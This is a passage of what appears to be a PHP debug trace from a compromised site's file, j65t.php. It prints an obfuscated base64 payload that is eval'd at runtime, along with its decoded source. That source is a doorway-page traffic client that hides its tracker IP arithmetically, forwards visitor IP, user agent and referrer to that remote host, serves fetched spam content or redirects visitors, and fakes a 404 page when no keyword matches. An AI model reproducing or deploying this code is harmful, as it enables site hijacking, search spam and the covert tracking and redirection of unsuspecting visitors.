oJGZpbGUsICRsaW5lKSkgew0KICAgICAgICAgICAgJG1zZyA9ICJCb2R5IG91dHB1dCBhbHJlYWR5IHN0YXJ0ZWQiOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICIoeyRmaWxlfTp7JGxpbmV9KSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+bG9nKCRtc2cpOw0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmhlYWRlcnMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkcmVzdWx0LT5oZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigkaGVhZGVyKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPnN0YXR1cykpIHsNCiAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkcmVzdWx0LT5zdGF0dXMpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5jb250ZW50VHlwZSkpIHsNCiAgICAgICAgICAgICRoZWFkZXIgPSAnQ29udGVudC1UeXBlOiAnIC4gJHJlc3VsdC0+Y29udGVudFR5cGU7DQogICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgIGlmICghaGVhZGVyc19zZW50KCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJGhlYWRlcik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIHVwZGF0ZUhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldE9mZmVyKCRwYXJhbXMgPSBhcnJheSgpLCAkZmFsbGJhY2sgPSAnbm9fb2ZmZXInKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkdG9rZW4gPSAkdGhpcy0+Z2V0VG9rZW4oKTsNCiAgICAgICAgaWYgKGVtcHR5KCR0b2tlbikpIHsNCiAgICAgICAgICAgICR0aGlzLT5sb2coJ0NhbXBhaWduIGhhc25cJ3QgcmV0dXJuZWQgb2ZmZXInKTsNCiAgICAgICAgICAgIHJldHVybiAkZmFsbGJhY2s7DQogICAgICAgIH0NCiAgICAgICAgJHBhcmFtc1snX2xwJ10gPSAxOw0KICAgICAgICAkcGFyYW1zWydfdG9rZW4nXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXMtPl9idWlsZE9mZmVyVXJsKCRwYXJhbXMpOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0JvdCgpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIGlmIChpc3NldCgkcmVzdWx0LT5pbmZvKSkgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPmlzX2JvdCkgPyAkcmVzdWx0LT5pbmZvLT5pc19ib3QgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1VuaXF1ZSgkbGV2ZWwgPSAnY2FtcGFpZ24nKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+aW5mbykgJiYgJHJlc3VsdC0+aW5mby0+dW5pcXVlbmVzcykgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPnVuaXF1ZW5lc3MtPiRsZXZlbCkgPyAkcmVzdWx0LT5pbmZvLT51bmlxdWVuZXNzLT4kbGV2ZWwgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIGZvcmNlQ2hvb3NlT2ZmZXIoKQ0KICAgIHsNCiAgICAgICAgdGhyb3cgbmV3IFxFcnJvcignZm9yY2VDaG9vc2VPZmZlciB3YXMgcmVtb3ZlZCBpbiBLQ2xpY2tDbGllbnQgdjMuJyk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldEJvZHkoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICByZXR1cm4gJHJlc3VsdC0+Ym9keTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SGVhZGVycygpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIHJldHVybiAkcmVzdWx0LT5oZWFkZXJzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3N0YXJ0U2Vzc2lvbigpDQogICAgew0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfYnVpbGRPZmZlclVybCgkcGFyYW1zID0gYXJyYXkoKSkNCiAgICB7DQogICAgICAgICRyZXF1ZXN0ID0gcGFyc2VfdXJsKCR0aGlzLT5fdHJhY2tlclVybCk7DQogICAgICAgICRsYXN0Q2hhciA9IHN1YnN0cigkcmVxdWVzdFsncGF0aCddLCAtMSk7DQogICAgICAgIGlmICgkbGFzdENoYXIgIT0gJy8nICYmICRsYXN0Q2hhciAhPSAnXFwnKSB7DQogICAgICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKGJhc2VuYW1lKCRyZXF1ZXN0WydwYXRoJ10pLCAnJywgJHJlcXVlc3RbJ3BhdGgnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0WydwYXRoJ107DQogICAgICAgIH0NCiAgICAgICAgJHBhdGggPSBsdHJpbSgkcGF0aCwgIlxcXC8iKTsNCiAgICAgICAgJHBhcmFtcyA9IGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcyk7DQogICAgICAgIHJldHVybiAieyRyZXF1ZXN0WydzY2hlbWUnXX06Ly97JHJlcXVlc3RbJ2hvc3QnXX0veyRwYXRofT97JHBhcmFtc30iOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ2V0Q3VycmVudFBhZ2UoKQ0KICAgIHsNCiAgICAgICAgaWYgKChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gID09IDQ0MykgfHwgIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgew0KICAgICAgICAgICAgJHNjaGVtZSA9ICdodHRwcyc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkc2NoZW1lID0gJ2h0dHAnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkc2NoZW1lIC4gJzovLycgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9idWlsZFJlcXVlc3RVcmwoKQ0KICAgIHsNCiAgICAgICAgJHJlcXVlc3QgPSBwYXJzZV91cmwoJHRoaXMtPl90cmFja2VyVXJsKTsNCiAgICAgICAgJHVybCA9ICJ7JHJlcXVlc3RbJ3NjaGVtZSddfTovL3skcmVxdWVzdFsnaG9zdCddfSI7DQogICAgICAgIGlmIChpc3NldCgkcmVxdWVzdFsncG9ydCddKSkgew0KICAgICAgICAgICAgJHVybCA9ICc6JyAuICRyZXF1ZXN0Wydwb3J0J107DQogICAgICAgIH0NCiAgICAgICAgJHVybCAuPSAiL3skcmVxdWVzdFsncGF0aCddfSI7DQogICAgICAgIHJldHVybiAkdXJsOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZmluZElwKCkNCiAgICB7DQogICAgICAgICRpcCA9IG51bGw7DQogICAgICAgICRoZWFkZXJzID0gYXJyYXkoDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRF9GT1InLA0KICAgICAgICAgICAgJ0hUVFBfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnSFRUUF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0hUVFBfQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdIVFRQX0ZPUldBUkRFRF9GT1JfSVAnLA0KICAgICAgICAgICAgJ1hfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnWF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdGT1JXQVJERURfRk9SX0lQJywNCiAgICAgICAgICAgICdIVFRQX1BST1hZX0NPTk5FQ1RJT04nKTsNCiAgICAgICAgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGhlYWRlcikgew0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1NFUlZFUlskaGVhZGVyXSkpIHsNCiAgICAgICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWyRoZWFkZXJdKTsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChzdHJzdHIoJGlwLCAnLCcpKSB7DQogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRpcCk7DQogICAgICAgICAgICBpZiAoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtaW5pJykpIHsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbY291bnQoJHRtcCkgLSAyXSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRpcCA9IHRyaW0oJHRtcFswXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJGlwKSkgew0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGlwOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCkNCiAgICB7DQogICAgICAgIHJldHVybiB0aW1lKCkgKyA2MCAqIDYwICogJHR0bDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRDb29raWVIb3N0KCkNCiAgICB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pICYmIHN1YnN0cl9jb3VudCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sICcuJykgPCAzKSB7DQogICAgICAgICAgICAkaG9zdCA9ICcuJyAuIHN0cl9yZXBsYWNlKCd3d3cuJywgJycsICRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkaG9zdCA9IG51bGw7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRob3N0Ow0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldFJlcXVlc3RPcHRpb25zKCkNCiAgICB7DQogICAgICAgICRvcHRzID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgew0KICAgICAgICAgICAgJG9wdHNbJ2Nvb2tpZXMnXSA9IHByZWdfcmVwbGFjZSgnL1BIUFNFU1NJRD0uKj87L3NpJywgJycsICRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkb3B0czsNCiAgICB9DQp9DQoNCmNsYXNzIEtIdHRwQ2xpZW50DQp7DQogICAgY29uc3QgVUEgPSAnS0h0dHBDbGllbnQnOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlcXVlc3QoJHVybCwgJHBhcmFtcywgJG9wdHMgPSBhcnJheSgpKQ0KICAgIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgaXNzZXQoJG9wdHNbJ2Nvb2tpZXMnXSkgPyAkb3B0c1snY29va2llcyddIDogbnVsbCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCBzZWxmOjpVQSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcykpOw0KICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGlmIChjdXJsX2Vycm9yKCRjaCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKGN1cmxfZXJyb3IoJGNoKSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKCdFbXB0eSByZXNwb25zZScpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCn0NCg0KY2xhc3MgS1RyYWZmaWNDbGllbnRFcnJvciBleHRlbmRzIFxFeGNlcHRpb24ge30NCg0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnaHR0cF9yZXNwb25zZV9jb2RlJykpIHsNCiAgICBmdW5jdGlvbiBodHRwX3Jlc3BvbnNlX2NvZGUoJGNvZGUgPSBOVUxMKSB7DQoNCiAgICAgICAgaWYgKCRjb2RlICE9PSBOVUxMKSB7DQoNCiAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9ICdDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ) | .../j65t.php(143) : runtime-created function:1 |
4 | 0.0011 | 530992 | __lambda_func( ) | .../j65t.php(143) : runtime-created function(1) : eval()'d code:305 |
5 | 0.0022 | 666360 | eval( '
$door_tpl = "auto_2207_7";
$my_camp_ID = "WbcGLm7bMyGtf241";
$pack_name = "2307_precached_NOSLASH";
$txt_filename = "j65t";
$my_get_arr = array_values($_GET);
$myfname = $my_get_arr[0];
class KClickClient
{
const SESSION_SUB_ID = 'sub_id';
const SESSION_LANDING_TOKEN = 'landing_token';
/** @version 3.5 **/
const VERSION = 3;
const STATE_SESSION_KEY = 'keitaro_state';
const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires';
const DEFAULT_TTL = 1;
/**
* @var KHttpClient
*/
private $_httpClient;
private $_debug = false;
private $_trackerUrl;
private $_params = array();
private $_log = array();
private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer');
private $_result;
private $_stateRestored;
const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.';
public function __construct($trackerUrl, $token)
{
$this->trackerUrl($trackerUrl);
$this->campaignToken($token);
$this->version(self::VERSION);
$this->param('info', 1);
$this->fillParams();
}
public function fillParams()
{
$referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null;
$this->setHttpClient(new KHttpClient());
$this->ip($this->_findIp())
->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null)
->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : ''))
